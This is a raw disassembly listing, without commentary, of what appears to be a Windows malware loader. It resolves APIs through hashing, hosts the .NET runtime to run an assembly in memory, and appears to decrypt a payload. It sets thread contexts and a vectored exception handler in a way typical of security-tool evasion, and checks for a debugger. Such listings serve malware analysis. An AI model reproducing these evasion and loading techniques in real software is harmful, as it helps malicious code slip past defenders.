lea rdi, [0x0042bef0]
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042e680], xmm0
lea rax, str.IsMatchingType
movq xmm0, rdi
mov word [0x0042c080], 0x319
punpcklqdq xmm0, xmm11
movq xmm11, rax
mov byte [0x0042e5b0], 1
lea rax, str.RecordCreate
mov qword [0x0042e5b8], 0x38
lea rdi, [0x0042be70]
movaps xmmword [0x0042c030], xmm6
mov qword [0x0042c048], 0
mov word [0x0042c040], 0x319
mov byte [0x0042e5e0], 1
mov qword [0x0042e5e8], 0x40
mov qword [0x0042c008], 0
movaps xmmword [0x0042bff0], xmm6
mov word [0x0042c000], 0x319
mov byte [0x0042e610], 1
mov qword [0x0042e618], 0x48
mov qword [0x0042bfc8], 0
movaps xmmword [0x0042bfb0], xmm6
mov word [0x0042bfc0], 0x319
mov byte [0x0042e640], 1
mov qword [0x0042e648], 0x50
mov qword [0x0042bf88], 0
movaps xmmword [0x0042bf70], xmm6
mov word [0x0042bf80], 0x319
mov byte [0x0042e670], 1
mov qword [0x0042e678], 0x58
mov qword [0x0042bf48], 0
movaps xmmword [0x0042bf30], xmm6
mov word [0x0042bf40], 0x319
movdqa xmm9, xmmword [rsp + 0x70]
movaps xmmword [0x0042e710], xmm0
movq xmm0, rcx
movdqa xmm14, xmmword [rsp + 0x80]
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042e740], xmm0
movq xmm0, rdi
lea rax, str.RecordCreateCopy
punpcklqdq xmm0, xmm11
movaps xmmword [0x0042e770], xmm0
lea rcx, [0x0042be30]
movq xmm11, rax
mov byte [0x0042e6a0], 1
lea rdi, [0x0042e4f0]
movq xmm0, rcx
mov qword [0x0042e6a8], 0x60
punpcklqdq xmm0, xmm11
lea rax, [0x0042e520]
movaps xmmword [0x0042e7a0], xmm0
movq xmm0, rdi
lea rcx, [rdi + 0x60]
movq xmm11, rax
add rax, 0x60
movaps xmmword [0x0042e6b0], xmm14
punpcklqdq xmm0, xmm11
movq xmm11, rax
add rdi, 0xc0
add rax, 0x60
mov byte [0x0042e6d0], 1
mov qword [0x0042e6d8], 0x68
movaps xmmword [0x0042e6e0], xmm9
mov qword [0x0042bf08], 0
movaps xmmword [0x0042bef0], xmm6
mov word [0x0042bf00], 0x319
mov byte [0x0042e700], 1
mov qword [0x0042e708], 0x70
mov qword [0x0042bec8], 0
movaps xmmword [0x0042beb0], xmm6
mov word [0x0042bec0], 0x319
mov byte [0x0042e730], 1
mov qword [0x0042e738], 0x78
mov qword [0x0042be88], 0
movaps xmmword [0x0042be70], xmm6
mov word [0x0042be80], 0x319
mov byte [0x0042e760], 1
mov qword [0x0042e768], 0x80
mov qword [0x0042be48], 0
movaps xmmword [0x0042be30], xmm6
mov word [0x0042be40], 0x319
mov byte [0x0042e790], 1
mov qword [0x0042e798], 0x88
movaps xmmword [0x0042c180], xmm0
movq xmm0, rcx
add rcx, 0xc0
movdqa xmm3, xmmword [rsp + 0x30]
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042c190], xmm0
add rax, 0x60
movq xmm0, rdi
add rdi, 0xc0
movdqa xmm1, xmmword [rsp + 0x60]
movups xmmword [0x0042c218], xmm3
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042c1a0], xmm0
add rax, 0x60
movq xmm0, rcx
add rcx, 0xc0
movaps xmmword [0x0042e7d0], xmm1
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042c1b0], xmm0
add rax, 0x60
movq xmm0, rdi
add rdi, 0xc0
mov byte [0x0042e7c0], 1
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042c1c0], xmm0
add rax, 0x60
movq xmm0, rcx
add rcx, 0xc0
mov qword [0x0042e7c8], 0x90
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042c1d0], xmm0
add rax, 0x60
movq xmm0, rdi
mov byte [0x0042e4c0], 2
punpcklqdq xmm0, xmm11
movq xmm11, rax
movaps xmmword [0x0042c1e0], xmm0
movq xmm0, rcx
lea rax, [0x0042c180]
punpcklqdq xmm0, xmm11
movaps xmmword [0x0042c1f0], xmm0
movdqa xmm0, xmmword [rsp + 0xc0]
mov qword [0x0042e4e8], rax
lea rax, [0x0042c200]
mov qword [0x0042be08], rax
lea rax, [0x0042e490]
mov qword [0x0042c260], rax
lea rax, [0x0042c240]
mov qword [0x0042bdc8], rax
lea rdi, [0x0042bdb0]
lea rax, str.pRecInfo
movaps xmmword [0x0042e4a0], xmm0
movq xmm0, rdi
movq xmm3, rax
movaps xmmword [0x0042bdf0], xmm6
lea rax, [0x0042c280]
punpcklqdq xmm0, xmm3
mov qword [0x0042e4e0], 0x10
movaps xmmword [0x0042e470], xmm0
mov word [0x0042be00], 0x315
mov byte [0x0042e490], 1
mov qword [0x0042e498], 0
movaps xmmword [0x0042bdb0], xmm6
mov word [0x0042bdc0], 0x315
mov byte [0x0042e460], 1
mov qword [0x0042e468], 8
mov qword [0x0042e420], 2
mov byte [0x0042e400], 2
mov qword [0x0042e428], rax
lea rax, [0x0042e400]
movdqa xmm2, xmmword [rsp + 0x480]
mov qword [0x0042c2b0], rax
lea rax, [0x0042cf40]
movdqa xmm1, xmmword [rsp + 0xe0]
mov qword [0x0042d378], rax
lea rax, [rcx - 0x1440]
movdqa xmm4, xmmword [rsp + 0x440]
mov qword [0x0042d0c0], rax
lea rax, [0x0042d120]
movdqa xmm5, xmmword [rsp + 0x50]
mov qword [0x0042d258], rax
lea rax, [rcx - 0x1560]
mov qword [0x0042d170], rax
lea rax, [rcx + 0x60]
sub rcx, 0x1590
movaps xmmword [0x0042d210], xmm2
movq xmm2, rax
movq xmm0, rcx
lea rax, [0x0042e820]
punpcklqdq xmm0, xmm2
movaps xmmword [0x0042e3e0], xmm1
mov qword [0x0042d1f8], rax
lea rax, [rcx - 0x30]
movaps xmmword [0x0042d330], xmm4
movaps xmmword [0x0042e800], xmm5
mov qword [0x0042e850], rax
lea rax, [rcx - 0x60]
mov byte [0x0042e3d0], 1
lea rcx, [0x00425790]
mov qword [0x0042e3d8], 0
mov qword [0x0042d370], 0x2c
mov byte [0x0042d350], 2
mov byte [0x0042d320], 1
mov qword [0x0042d328], 8
mov qword [0x0042d250], 5
mov byte [0x0042d230], 2
mov byte [0x0042d200], 1
mov qword [0x0042d208], 0
movaps xmmword [0x0042e820], xmm0
mov byte [0x0042e7f0], 1
mov qword [0x0042e7f8], 0
mov qword [0x0042d1f0], 2
mov byte [0x0042d1d0], 2
mov byte [0x0042d1a0], 1
mov qword [0x0042d1a8], 0
movdqa xmm0, xmmword [rsp + 0x490]
mov qword [0x0042eb30], rax
movaps xmmword [0x0042d1b0], xmm0
call rbx
test rax, rax
mov qword [0x0042bda0], rax
je 0x420f67
lea rdx, str.DispGetIDsOfNames
mov rcx, rax
call fcn.00402f30
mov rcx, qword [0x0042bda0]
lea rdx, str.SysFreeString
mov qword [0x0042bd98], rax
call fcn.00402f30
lea rcx, [0x00425750]
mov qword [0x0042bd90], rax
call rbx
test rax, rax
mov qword [0x0042bd88], rax
je 0x420f92
lea rdx, str.CoInitialize
mov rcx, rax
call fcn.00402f30
mov rcx, qword [0x0042bda0]
lea rdx, str.VariantClear
mov qword [0x0042f220], rax
call fcn.00402f30
mov rcx, qword [0x0042bda0]
lea rdx, str.VariantCopy
mov qword [0x0042bd80], rax
call fcn.00402f30
mov rcx, qword [0x0042bda0]
lea rdx, str.SysAllocString
mov qword [0x0042bd78], rax
call fcn.00402f30
mov rcx, qword [0x0042bda0]
lea rdx, str.SafeArrayCreate
mov qword [0x0042bd70], rax
call fcn.00402f30
mov rcx, qword [0x0042bda0]
lea rdx, str.SafeArrayPutElement
mov qword [0x0042bd68], rax
call fcn.00402f30
lea rcx, [0x004257d0]
mov qword [0x0042bd60], rax
call rbx
test rax, rax
mov qword [0x0042e878], rax
je 0x420fb4
lea rdx, str.CLRCreateInstance
mov rcx, rax
call fcn.00402f30
lea rcx, [0x00425810]
mov qword [0x0042e870], rax
call rbx
test rax, rax
mov qword [0x0042e898], rax
je 0x420f9e
lea rdx, str.counter
movq xmm9, rsi
mov rcx, rax
movq xmm11, qword [0x00428098]
movq xmm13, qword [0x00428070]
movq xmm2, rdx
punpcklqdq xmm11, xmm2
lea rdx, [0x00423757]
movq xmm2, qword [0x00428098]
movq xmm14, qword [0x00428078]
movq xmm1, qword [0x00428088]
movhps xmm2, qword [str.Field0]
movaps xmmword [rsp + 0x30], xmm2
movq xmm2, rdx
movhps xmm14, qword [str.Field1]
lea rdx, str.hresult
punpcklqdq xmm9, xmm2
movq xmm2, rdx
lea rdx, [0x0042ede0]
punpcklqdq xmm12, xmm2
movq xmm2, rdx
lea rdx, [0x0042efa0]
punpcklqdq xmm13, xmm2
movq xmm2, rdx
lea rdx, str.CreateToolhelp32Snapshot
punpcklqdq xmm1, xmm2
movaps xmmword [rsp + 0x20], xmm1
call fcn.00402f30
mov rcx, qword [0x0042e898]
lea rdx, str.Thread32First
mov qword [0x0042e890], rax
call fcn.00402f30
mov rcx, qword [0x0042e898]
lea rdx, str.Thread32Next
mov qword [0x0042e888], rax
call fcn.00402f30
movdqa xmm2, xmmword [rsp + 0x30]
mov qword [0x0042ed28], 0
lea rcx, [0x00425840]
mov qword [0x0042e880], rax
lea rax, [0x0042eb60]
movdqa xmm0, xmmword [0x00427fc0]
mov edx, 0x1f80ebe8
mov qword [0x0042ed30], rax
lea rax, [0x0042ed10]
mov qword [0x0042f1f8], rax
lea rax, [0x0042f1e0]
mov qword [0x0042eae8], rax
lea rax, [0x004028c0]
mov qword [0x0042f208], rax
lea rax, [0x0042ec50]
lea rsi, [rax - 0x30]
movaps xmmword [0x0042ec30], xmm2
movq xmm2, rax
add rax, 0x30
movaps xmmword [0x0042ea90], xmm0
movq xmm0, rsi
mov qword [0x0042ea30], rax
lea rax, str.Field2
punpcklqdq xmm0, xmm2
movq xmm2, rax
movaps xmmword [0x0042ea20], xmm0
lea rax, [0x0042ea20]
movaps xmmword [0x0042ed10], xmm10
mov word [0x0042ed20], 0x312
lea rsi, [0x0042e960]
mov byte [0x0042eb60], 1
movq xmm0, rsi
mov qword [0x0042eb68], 0
lea rsi, [0x0042f560]
punpcklqdq xmm0, xmm2
movaps xmmword [0x0042eb70], xmm9
movaps xmmword [0x0042f1e0], xmm6
mov word [0x0042f1f0], 0x216
movaps xmmword [0x0042ead0], xmm6
mov word [0x0042eae0], 0x218
mov qword [0x0042eaa8], 0
mov word [0x0042eaa0], 0x212
mov qword [0x0042ea58], 0
movaps xmmword [0x0042ea40], xmm10
mov word [0x0042ea50], 0x312
mov byte [0x0042ec20], 1
mov qword [0x0042ec28], 0
mov byte [0x0042ec50], 1
mov qword [0x0042ec58], 8
movaps xmmword [0x0042ec60], xmm14
mov byte [0x0042ec80], 1
mov qword [0x0042ec88], 0x10
mov qword [0x0042ec18], rax
lea rax, [0x0042ebf0]
mov qword [0x0042ea60], rax
lea rax, [0x0042ea40]
mov qword [0x0042f578], rax
lea rax, str.data
movq xmm2, rax
movaps xmmword [0x0042ec90], xmm0
movq xmm0, rsi
lea rax, [0x0042ecb0]
punpcklqdq xmm0, xmm2
movaps xmmword [0x0042ebd0], xmm0
lea rsi, [rax - 0xf0]
movq xmm2, rax
movaps xmmword [0x0042ee50], xmm7
lea rax, [0x0042ea80]
movq xmm0, rsi
mov qword [0x0042ec10], 3
mov qword [0x0042ebb8], rax
lea rax, [rsi - 0x30]
punpcklqdq xmm0, xmm2
mov qword [0x0042eab0], rax
lea rax, [0x0042ea90]
mov qword [0x0042f5b8], rax
lea rax, [rsi + 0x120]
movq xmm2, rax
movaps xmmword [0x0042ea80], xmm0
lea rsi, [0x0042e8e0]
mov byte [0x0042ebf0], 2
lea rax, [0x0042e920]
movq xmm0, rsi
movaps xmmword [0x0042f560], xmm6
mov qword [0x0042e8b8], rax
lea rax, [0x0042ee50]
punpcklqdq xmm0, xmm2
mov word [0x0042f570], 0x218
lea rsi, [0x0042ef60]
movups xmmword [0x0042e938], xmm0
mov byte [0x0042ebc0], 1
mov qword [0x0042ebc8], 0
mov byte [0x0042ecb0], 1
mov qword [0x0042ecb8], 8
movaps xmmword [0x0042ecc0], xmm11
mov qword [0x0042ebb0], 2
mov byte [0x0042eb90], 2
movaps xmmword [0x0042f5a0], xmm6
mov word [0x0042f5b0], 0x216
movaps xmmword [0x0042e920], xmm15
mov byte [0x0042e930], 0x11
mov qword [0x0042ed00], 0
mov byte [0x0042ece0], 2
movaps xmmword [0x0042e8a0], xmm6
mov byte [0x0042e8b0], 0x16
mov byte [0x0042ee60], 0x11
mov byte [0x0042ede0], 1
movdqa xmm0, xmmword [0x00428050]
mov qword [0x0042ed68], rax
lea rax, str.:state
movq xmm7, rax
movaps xmmword [0x0042f4d0], xmm0
movq xmm0, rsi
lea rax, [0x0042f000]
punpcklqdq xmm0, xmm7
movaps xmmword [0x0042efe0], xmm0
lea rsi, [rax - 0x30]
movq xmm7, rax
mov qword [0x0042ede8], 0x30
movq xmm0, rsi
movaps xmmword [0x0042edf0], xmm12
punpcklqdq xmm0, xmm7
lea rax, str.key1
movaps xmmword [0x0042f090], xmm0
movdqa xmm0, xmmword [0x00428060]
movq xmm7, rax
movups xmmword [0x0042ee68], xmm13
lea rsi, [0x0042ef20]
movaps xmmword [0x0042ef20], xmm0
lea rax, [0x0042f030]
movq xmm0, rsi
movaps xmmword [0x0042ed50], xmm6
mov qword [0x0042f0a0], rax
lea rax, str.cipher
punpcklqdq xmm0, xmm7
lea rsi, [0x0042eea0]
movq xmm7, rax
movaps xmmword [0x0042f010], xmm0
lea rax, [0x0042f060]
movq xmm0, rsi
mov byte [0x0042ed60], 0x16
mov qword [0x0042ef00], rax
lea rax, str.dctx2
punpcklqdq xmm0, xmm7
lea rsi, [0x0042eee0]
movaps xmmword [0x0042f070], xmm0
movq xmm7, rax
mov qword [0x0042f448], rbp
lea rax, [0x0042f090]
movq xmm0, rsi
movaps xmmword [0x0042f430], xmm6
punpcklqdq xmm0, xmm7
mov word [0x0042f440], 0x218
mov word [0x0042f4e0], 0x111
mov byte [0x0042efd0], 1
mov qword [0x0042efd8], 8
mov qword [0x0042ef38], rbp
mov word [0x0042ef30], 0x310
mov byte [0x0042f000], 1
mov qword [0x0042f008], 0x10
mov qword [0x0042eef8], 0
movaps xmmword [0x0042eee0], xmm8
mov word [0x0042eef0], 0x312
mov byte [0x0042f060], 1
mov qword [0x0042f068], 0
mov byte [0x0042f030], 1
mov qword [0x0042f038], 0x30
movdqa xmm1, xmmword [rsp + 0x20]
mov qword [0x0042efc8], rax
lea rax, [0x0042f4d0]
movaps xmmword [0x0042f040], xmm0
mov qword [0x0042efc0], 3
mov byte [0x0042efa0], 2
movups xmmword [0x0042f4e8], xmm1
movaps xmmword [0x0042f510], xmm6
mov byte [0x0042f520], 0x16
mov qword [0x0042f528], rax
call fcn.00405030
lea rcx, section..rdata
test rax, rax
mov rsi, rax
je 0x420330
cmp qword [rax], 0
je 0x420330
lea rcx, [rax + 0x10]
call rbx
test rax, rax
mov qword [0x0042ee98], rax
je 0x420fff
lea rdx, str.RtlGetVersion
mov rcx, rax
call fcn.00402f30
lea rcx, [0x00425830]
mov qword [0x0042f420], rax
call rbx
test rax, rax
mov qword [0x0042ee90], rax
je 0x421007
lea rdx, str.GetFileAttributesW
mov rcx, rax
call fcn.00402f30
mov rcx, qword [0x0042ee90]
lea rdx, str.OpenProcess
mov qword [0x0042f248], rax
call fcn.00402f30
lea rcx, [0x0042f140]
mov qword [0x0042f250], rax
call r13
xor ecx, ecx
mov rbp, qword [fcn.004174d0]
call rbp
mov rdi, qword [sym.imp.msvcrt.dll__fileno]
mov rcx, rax
call rdi
mov edx, 0x8000
mov rsi, qword [sym.imp.msvcrt.dll__setmode]
mov ecx, eax
call rsi
mov ecx, 1
call rbp
mov rcx, rax
call rdi
mov edx, 0x8000
mov ecx, eax
call rsi
mov ecx, 2
call rbp
mov rcx, rax
call rdi
mov edx, 0x8000
mov ecx, eax
call rsi
call qword [0x0042f190]
mov dword [0x0042f188], eax
call qword [0x0042f180]
cmp dword [0x0042f188], 0xfde9
mov dword [0x0042f178], eax
je 0x420464
mov ecx, 0xfde9
call qword [0x0042f170]
lea rax, [0x004015a0]
mov qword [rsp + 0x528], 0
mov qword [rsp + 0x520], rax
lea rcx, [rsp + 0x4f0]
movdqa xmm6, xmmword [rsp + 0x520]
movaps xmmword [rsp + 0x4f0], xmm6
call fcn.0040f280
cmp dword [0x0042f178], 0xfde9
je 0x4204b4
mov ecx, 0xfde9
call qword [0x0042f168]
lea rax, [0x004015b0]
mov qword [rsp + 0x528], 0
mov qword [rsp + 0x520], rax
lea rcx, [rsp + 0x4f0]
movdqa xmm6, xmmword [rsp + 0x520]
movaps xmmword [rsp + 0x4f0], xmm6
call fcn.0040f280
lea rcx, [0x00425870]
call rbx
test rax, rax
je 0x4204d2
lea rdx, str.inet_ntop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rax, [0x00401560]
mov ecx, 6
lea rbx, [0x00401600]
movq xmm6, rax
lea rax, [0x00401570]
movq xmm0, rbx
lea rbx, [0x00403900]
punpcklqdq xmm0, xmm6
movq xmm6, rax
movaps xmmword [0x0042f1a0], xmm0
lea rax, [0x00401580]
movq xmm0, rbx
punpcklqdq xmm0, xmm6
lea rdx, [rsp + 0x500]
movq xmm6, rax
movaps xmmword [0x0042f1b0], xmm0
lea rax, [0x00414ac0]
mov rdi, rdx
mov qword [0x0042f1d0], rax
lea rbx, [0x004015e0]
xor eax, eax
rep stosd dword [rdi], eax
lea rbp, [rsp + 0x520]
mov ecx, 6
movq xmm0, rbx
mov rdi, rbp
punpcklqdq xmm0, xmm6
movaps xmmword [0x0042f1c0], xmm0
rep stosd dword [rdi], eax
lea rcx, [0x00422140]
call fcn.004176a0
cmp byte [rax], 0
mov rbx, rax
jne 0x42058e
xor ecx, ecx
call qword [0x0042f220]
mov byte [rbx], 1
lea rcx, [0x00422160]
call fcn.004176a0
mov rcx, rax
call fcn.00408400
mov ecx, 6
lea rbx, [rax + 0x10]
mov qword [rax + 8], 1
xor eax, eax
mov rdi, rbx
rep stosd dword [rdi], eax
lea rcx, [0x00422120]
call fcn.004176a0
cmp qword [rax], 0
mov rsi, rax
je 0x420ff2
lea rcx, [0x00422100]
call fcn.004176a0
cmp qword [rax], 0
mov rsi, rax
je 0x420fe5
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
mov rdi, rbx
mov rsi, rbp
call fcn.0040db40
mov ecx, 6
mov qword [0x0042f228], rbx
rep movsd dword [rdi], dword [rsi]
lea rcx, [0x0042f300]
call qword [0x0042f420]
mov eax, dword [0x0042f304]
cmp eax, 6
jne 0x420f25
mov eax, dword [0x0042f308]
cmp eax, 2
jne 0x420f73
mov dword [0x0042f550], 1
lea rcx, [0x00426a40]
mov edx, 0x290b54e8
call fcn.00404d90
mov edx, 0x7ff35e28
mov rcx, rax
call fcn.00405030
mov rcx, rax
mov qword [0x0042f2e8], rax
call fcn.00404b30
mov edx, 0x4d6a928
lea rcx, [0x004262a0]
mov qword [0x0042f2e0], rax
call fcn.00404d90
test rax, rax
mov rbx, rax
je 0x420fc0
mov rsi, qword [rax]
lea rcx, [0x0042f430]
lea rdi, [rax + 0x10]
mov rdx, rsi
call fcn.0040b740
test rsi, rsi
jle 0x420fce
lea rdx, [rax + 0x20]
lea r8, [rbx + 0x20]
cmp rdx, rdi
lea rdx, [rax + 0x10]
setbe cl
cmp r8, rdx
setbe dl
or cl, dl
je 0x421013
lea rdx, [rsi - 1]
cmp rdx, 0xe
jbe 0x421013
mov rcx, rsi
xor edx, edx
and rcx, 0xfffffffffffffff0
movdqu xmm7, xmmword [rbx + rdx + 0x10]
movups xmmword [rax + rdx + 0x10], xmm7
add rdx, 0x10
cmp rcx, rdx
jne 0x4206ed
mov rdx, rsi
and rdx, 0xfffffffffffffff0
cmp rdx, rsi
je 0x420850
movzx ecx, byte [rbx + rdx + 0x10]
mov byte [rax + rdx + 0x10], cl
lea rcx, [rdx + 1]
cmp rsi, rcx
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x11]
lea rcx, [rdx + 2]
cmp rsi, rcx
mov byte [rax + rdx + 0x11], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x12]
lea rcx, [rdx + 3]
cmp rsi, rcx
mov byte [rax + rdx + 0x12], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x13]
lea rcx, [rdx + 4]
cmp rsi, rcx
mov byte [rax + rdx + 0x13], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x14]
lea rcx, [rdx + 5]
cmp rsi, rcx
mov byte [rax + rdx + 0x14], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x15]
lea rcx, [rdx + 6]
cmp rcx, rsi
mov byte [rax + rdx + 0x15], r8b
jge 0x420850
movzx r8d, byte [rdi + rdx + 6]
lea rcx, [rdx + 7]
cmp rsi, rcx
mov byte [rax + rdx + 0x16], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x17]
lea rcx, [rdx + 8]
cmp rsi, rcx
mov byte [rax + rdx + 0x17], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x18]
lea rcx, [rdx + 9]
cmp rsi, rcx
mov byte [rax + rdx + 0x18], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x19]
lea rcx, [rdx + 0xa]
cmp rsi, rcx
mov byte [rax + rdx + 0x19], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x1a]
lea rcx, [rdx + 0xb]
cmp rsi, rcx
mov byte [rax + rdx + 0x1a], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x1b]
lea rcx, [rdx + 0xc]
cmp rsi, rcx
mov byte [rax + rdx + 0x1b], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x1c]
lea rcx, [rdx + 0xd]
cmp rsi, rcx
mov byte [rax + rdx + 0x1c], r8b
jle 0x420850
movzx r8d, byte [rbx + rdx + 0x1d]
mov byte [rax + rdx + 0x1d], r8b
add rdx, 0xe
cmp rsi, rdx
jle 0x420850
movzx ecx, byte [rbx + rdx + 0x10]
mov byte [rax + rdx + 0x10], cl
mov qword [0x0042f488], rax
mov rdx, qword [rax]
lea rcx, [0x0042f430]
call fcn.0040b740
mov edx, 0x1b0bcb28
lea rcx, [0x004261a0]
call fcn.00405030
mov edx, 0x2cf74a28
lea rcx, [0x004260e0]
call fcn.00405030
mov edx, 0x7149bce8
lea rcx, [0x00426000]
call fcn.00405030
mov edx, 0x7514f1e8
lea rcx, [0x00425f20]
call fcn.00405030
lea rcx, [0x00425f00]
call fcn.00406a70
xor edx, edx
mov rcx, rax
call fcn.00405e30
mov r8d, 1
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425f00]
mov qword [0x0042f2d8], rax
call fcn.00406a70
xor edx, edx
mov rcx, rax
call fcn.00405e30
mov r8d, 1
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.004058c0
mov edx, 0x7d02c0e8
lea rcx, [0x00425e20]
mov qword [0x0042f2d0], rax
call fcn.00405030
lea rcx, [0x00425e00]
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetCurrentProcessId
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f2c8], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.VirtualProtect
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f4a0], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.OpenProcess
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetProcessHeap
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f2c0], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetProcAddress
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425f00]
mov qword [0x0042f2b8], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
mov r8d, 1
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f2b0], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetModuleHandleA
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f2a8], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetModuleHandleW
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f2a0], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetThreadContext
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f298], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.SetThreadContext
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f290], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.CloseHandle
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f288], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.OpenThread
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f280], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetCurrentThreadId
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.WaitForSingleObject
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f470], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.MultiByteToWideChar
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.Sleep
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f498], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetTickCount
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f278], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.CreateFileA
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f270], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetFileSize
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425f00]
mov qword [0x0042f268], rax
call fcn.00406a70
xor edx, edx
mov rcx, rax
call fcn.00405e30
mov r8d, 1
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
mov qword [0x0042f260], rax
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.ReadFile
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
mov edx, 0x12009528
lea rcx, [0x00425880]
mov qword [0x0042f258], rax
call fcn.00404d90
mov edx, 0x33a22428
mov rcx, rax
call fcn.00405030
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x420f33
call qword [0x0042f2c0]
mov rbx, rax
call qword [0x0042f2c0]
cmp dword [rbx + 0x70], 2
jne 0x420faa
cmp dword [rax + 0x74], 0
jne 0x420faa
call fcn.00405da0
test al, al
je 0x420e2a
lea rdx, [0x00401550]
mov ecx, 1
call qword [0x0042f240]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x80000003
call qword [0x0042f238]
lea rcx, [0x00401550]
call qword [0x0042f230]
mov rax, qword [0x0042f2e8]
test rax, rax
je 0x421265
mov rcx, qword [rax]
add rcx, 2
call fcn.004045a0
mov r8, qword [0x0042f2e8]
test r8, r8
je 0x420e0e
mov rdx, qword [rax]
mov rbx, qword [r8]
lea r10, [rax + rdx + 0x10]
xor edx, edx
lea r9, [rbx + 1]
jmp 0x420e03
movzx ecx, byte [r8 + rdx + 0x10]
mov byte [r10 + rdx], cl
add rdx, 1
cmp r9, rdx
jg 0x420df5
mov rdx, qword [r8]
add qword [rax], rdx
mov rdx, qword [rax]
mov qword [0x0042f2e0], rax
lea rdx, [rax + rdx + 0x10]
mov word [rdx], 0x7269
mov byte [rdx + 2], 0
add qword [rax], 2
mov edx, 0x202e0be8
lea rcx, [0x00425c20]
call fcn.00405030
lea rcx, [0x00425e00]
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetComputerNameExA
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
